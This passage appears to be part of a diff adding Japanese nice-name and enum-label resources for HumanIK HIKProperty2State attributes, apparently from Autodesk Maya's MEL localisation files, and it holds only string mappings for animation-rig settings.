"HIKProperty2State", "HipsTOffsetY", "ヒップ T オフセット Y" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTOffsetZ", "ヒップ T オフセット Z" ); +setAttrNiceNameResource( "HIKProperty2State", "ChestTOffsetX", "胸 T オフセット X" ); +setAttrNiceNameResource( "HIKProperty2State", "ChestTOffsetY", "胸 T オフセット Y" ); +setAttrNiceNameResource( "HIKProperty2State", "ChestTOffsetZ", "胸 T オフセット Z" ); +setAttrNiceNameResource( "HIKProperty2State", "AutomaticToes", "自動の足指" ); +setAttrNiceNameResource( "HIKProperty2State", "FloorPivot", "フロア ピボット" ); +setAttrNiceNameResource( "HIKProperty2State", "Posture", "姿勢" ); +setAttrNiceNameResource( "HIKProperty2State", "AutomaticFingers", "自動の指" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFloorPivot", "手のフロア ピボット" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamCtrlNeckStiffness", "首の固さコントロール パラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTranslationMode", "ヒップの移動モード" ); +setAttrNiceNameResource( "HIKProperty2State", "FingerSolving", "指のソルバ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamFootContactStiffness", "足の接触の固さパラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionLeftKnee", "左膝の最大伸長抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionRightKnee", "右膝の最大伸長抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionLeftElbow", "左肘の最大伸長抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionRightElbow", "右肘の最大伸長抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorLeftKnee", "左膝の収縮係数抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorRightKnee", "右膝の収縮係数抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorLeftElbow", "左肘の収縮係数抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorRightElbow", "右肘の収縮係数抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamHandFingerContactRollStiffness", "手の指の接触のロールの固さパラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamFootFingerContactRollStiffness", "足の指の接触のロールの固さパラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamHandContactStiffness", "手の接触の固さパラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "RollExtractionMode", "ロール抽出モード" ); +setAttrNiceNameResource( "HIKProperty2State", "PullIterationCount", "引き寄せの反復回数" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandThumbTip", "左親指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandIndexTip", "左人差指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandMiddleTip", "左中指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandRingTip", "左薬指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandPinkyTip", "左小指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandExtraFingerTip", "左追加指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandThumbTip", "右親指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandIndexTip", "右人差指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandMiddleTip", "右中指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandRingTip", "右薬指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandPinkyTip", "右小指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandExtraFingerTip", "右追加指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootThumbTip", "左足親指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootIndexTip", "左足人差指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootMiddleTip", "左足中指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootRingTip", "左足薬指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootPinkyTip", "左足小指先" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootExtraFingerTip", "左足追加指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootThumbTip", "右足親指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootIndexTip", "右足人差指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootMiddleTip", "右足中指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootRingTip", "右足薬指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootPinkyTip", "右足小指先" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootExtraFingerTip", "右足追加指先" ); +setAttrNiceNameResource( "HIKProperty2State", "ShoulderCorrection", "肩補正" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegMaxExtensionAngle", "左脚の最大伸長角度" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegMaxExtensionAngle", "右脚の最大伸長角度" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmMaxExtensionAngle", "左腕の最大伸長角度" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmMaxExtensionAngle", "右腕の最大伸長角度" ); +setAttrNiceNameResource( "HIKProperty2State", "ExtraCollarRatio", "追加の鎖骨比率" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessX", "鎖骨の固さ X" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessY", "鎖骨の固さ Y" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessZ", "鎖骨の固さ Z" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftShoulder", "アクターの左肩の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightShoulder", "アクターの右肩の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "FingerPropagation", "指の伝播" ); +setAttrNiceNameResource( "HIKProperty2State", "RealisticLeftKneeSolving", "リアルな左膝ソルビング" ); +setAttrNiceNameResource( "HIKProperty2State", "RealisticRightKneeSolving", "リアルな右膝ソルビング" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleArmsAndLegs", "Squash 'n' Stretch 腕と脚のスケール" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachLeftWrist", "Squash 'n' Stretch 左手首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachRightWrist", "Squash 'n' Stretch 右手首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachLeftAnkle", "Squash 'n' Stretch 左足首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachRightAnkle", "Squash 'n' Stretch 右足首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleSpine", "Squash 'n' Stretch 脊椎のスケール" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleSpineChildren", "Squash 'n' Stretch 脊椎の子のスケール" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachChestEnd", "Squash 'n' Stretch 胸の終了の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleNeck", "Squash 'n' Stretch 首のスケール" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachHead", "Squash 'n' Stretch 頭の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRollEx", "左大腿部ロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRollEx", "左脚ロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRollEx", "右大腿部ロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRollEx", "右脚ロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRollEx", "左腕のロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRollEx", "左前腕のロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRollEx", "右腕のロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRollEx", "右前腕のロールの抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "TopSpineCorrection", "上脊椎の補正" ); +setAttrNiceNameResource( "HIKProperty2State", "LowerSpineCorrection", "下脊椎の補正" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSSmoothReach", "Sn SSmooth 達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "LockX", "X をロック" ); +setAttrNiceNameResource( "HIKProperty2State", "LockY", "Y をロック" ); +setAttrNiceNameResource( "HIKProperty2State", "LockZ", "Z をロック" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamRealisticArmSolving", "リアルな腕ソルビング パラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", "パラメータ可動部の左大腿部ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1", "パラメータ可動部の左大腿部ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", "パラメータ可動部の左脚ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll1", "パラメータ可動部の左脚ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", "パラメータ可動部の右大腿部ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1", "パラメータ可動部の右大腿部ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", "パラメータ可動部の右脚ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll1", "パラメータ可動部の右脚ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", "パラメータ可動部の左腕ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll1", "パラメータ可動部の左腕ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", "パラメータ可動部の左前腕ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1", "パラメータ可動部の左前腕ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", "パラメータ可動部の右腕ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll1", "パラメータ可動部の右腕ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", "パラメータ可動部の右前腕ロール 1 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1", "パラメータ可動部の右前腕ロール 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2Mode", "パラメータ可動部の左大腿部ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2", "パラメータ可動部の左大腿部ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", "パラメータ可動部の左脚ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll2", "パラメータ可動部の左脚ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", "パラメータ可動部の右大腿部ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2", "パラメータ可動部の右大腿部ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", "パラメータ可動部の右脚ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll2", "パラメータ可動部の右脚ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", "パラメータ可動部の左腕ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll2", "パラメータ可動部の左腕ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", "パラメータ可動部の左前腕ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2", "パラメータ可動部の左前腕ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", "パラメータ可動部の右腕ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll2", "パラメータ可動部の右腕ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", "パラメータ可動部の右前腕ロール 2 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2", "パラメータ可動部の右前腕ロール 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", "パラメータ可動部の左大腿部ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3", "パラメータ可動部の左大腿部ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", "パラメータ可動部の左脚ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll3", "パラメータ可動部の左脚ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", "パラメータ可動部の右大腿部ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3", "パラメータ可動部の右大腿部ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", "パラメータ可動部の右脚ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll3", "パラメータ可動部の右脚ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", "パラメータ可動部の左腕ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll3", "パラメータ可動部の左腕ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", "パラメータ可動部の左前腕ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3", "パラメータ可動部の左前腕ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", "パラメータ可動部の右腕ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll3", "パラメータ可動部の右腕ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", "パラメータ可動部の右前腕ロール 3 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3", "パラメータ可動部の右前腕ロール 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", "パラメータ可動部の左大腿部ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4", "パラメータ可動部の左大腿部ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", "パラメータ可動部の左脚ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll4", "パラメータ可動部の左脚ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", "パラメータ可動部の右大腿部ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4", "パラメータ可動部の右大腿部ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", "パラメータ可動部の右脚ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll4", "パラメータ可動部の右脚ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", "パラメータ可動部の左腕ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll4", "パラメータ可動部の左腕ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", "パラメータ可動部の左前腕ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4", "パラメータ可動部の左前腕ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", "パラメータ可動部の右腕ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll4", "パラメータ可動部の右腕ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", "パラメータ可動部の右前腕ロール 4 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4", "パラメータ可動部の右前腕ロール 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", "パラメータ可動部の左大腿部ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5", "パラメータ可動部の左大腿部ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", "パラメータ可動部の左脚ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll5", "パラメータ可動部の左脚ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", "パラメータ可動部の右大腿部ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5", "パラメータ可動部の右大腿部ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", "パラメータ可動部の右脚ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll5", "パラメータ可動部の右脚ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", "パラメータ可動部の左腕ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll5", "パラメータ可動部の左腕ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", "パラメータ可動部の左前腕ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5", "パラメータ可動部の左前腕ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", "パラメータ可動部の右腕ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll5", "パラメータ可動部の右腕ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", "パラメータ可動部の右前腕ロール 5 モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5", "パラメータ可動部の右前腕ロール 5" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", "左脚全体ロール抽出モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegFullRollExtraction", "左脚全体ロール抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegFullRollExtractionMode", "右脚全体ロール抽出モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegFullRollExtraction", "右脚全体ロール抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", "左腕全体ロール抽出モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmFullRollExtraction", "左腕全体ロール抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmFullRollExtractionMode", "右腕全体ロール抽出モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmFullRollExtraction", "右腕全体ロール抽出" ); +setAttrNiceNameResource( "HIKProperty2State", "NeckMotionReduction", "首のモーションの削減" ); +setAttrNiceNameResource( "HIKProperty2State", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "HIKProperty2State", "ForceActorSpace", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ForceActorSpace", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 1, "自動" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 2, "ユーザ" ); +setAttrEnumResource( "HIKProperty2State", "MassCenterCompensationMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "MassCenterCompensationMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 1, "自動" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 2, "ユーザ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 1, "自動" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 2, "ユーザ" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 1, "自動" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 2, "ユーザ" ); +setAttrEnumResource( "HIKProperty2State", "FloorContact", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "FloorContact", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorContact", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorContact", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 0, "通常" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 1, "手首" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 2, "指のベース" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 3, "蹄" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContact", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContact", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 0, "スティッキー" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 1, "スプレッド" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 2, "スティッキーおよびスプレッド" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 0, "通常" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 1, "足首" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 2, "足指のベース" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 3, "蹄" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContact", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContact", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 0, "スティッキー" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 1, "スプレッド" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 2, "スティッキーおよびスプレッド" ); +setAttrEnumResource( "HIKProperty2State", "LeftUpLegRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftUpLegRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightUpLegRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightUpLegRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightLegRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftForeArmRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftForeArmRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightArmRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightForeArmRollMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightForeArmRollMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "Mirror", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "Mirror", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftKneeKillPitch", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftKneeKillPitch", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightKneeKillPitch", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightKneeKillPitch", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftElbowKillPitch", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftElbowKillPitch", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightElbowKillPitch", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightElbowKillPitch", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticToes", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticToes", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 0, "自動" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 1, "足首" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 2, "足指" ); +setAttrEnumResource( "HIKProperty2State", "Posture", 0, "二足歩行" ); +setAttrEnumResource( "HIKProperty2State", "Posture", 1, "四足歩行" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticFingers", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticFingers", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 0, "自動" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 1, "手首" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 2, "指" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 0, "ワールドの固定" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 1, "胴体の固定" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 2, "トラジェクトリ" ); +setAttrEnumResource( "HIKProperty2State", "FingerSolving", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "FingerSolving", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RollExtractionMode", 0, "相対" ); +setAttrEnumResource( "HIKProperty2State", "RollExtractionMode", 1, "絶対" ); +setAttrEnumResource( "HIKProperty2State", "FingerPropagation", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "FingerPropagation", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "SnSSmoothReach", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "SnSSmoothReach", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LockX", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LockX", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LockY", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LockY", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LockZ", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LockZ", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamRealisticArmSolving", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamRealisticArmSolving", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", 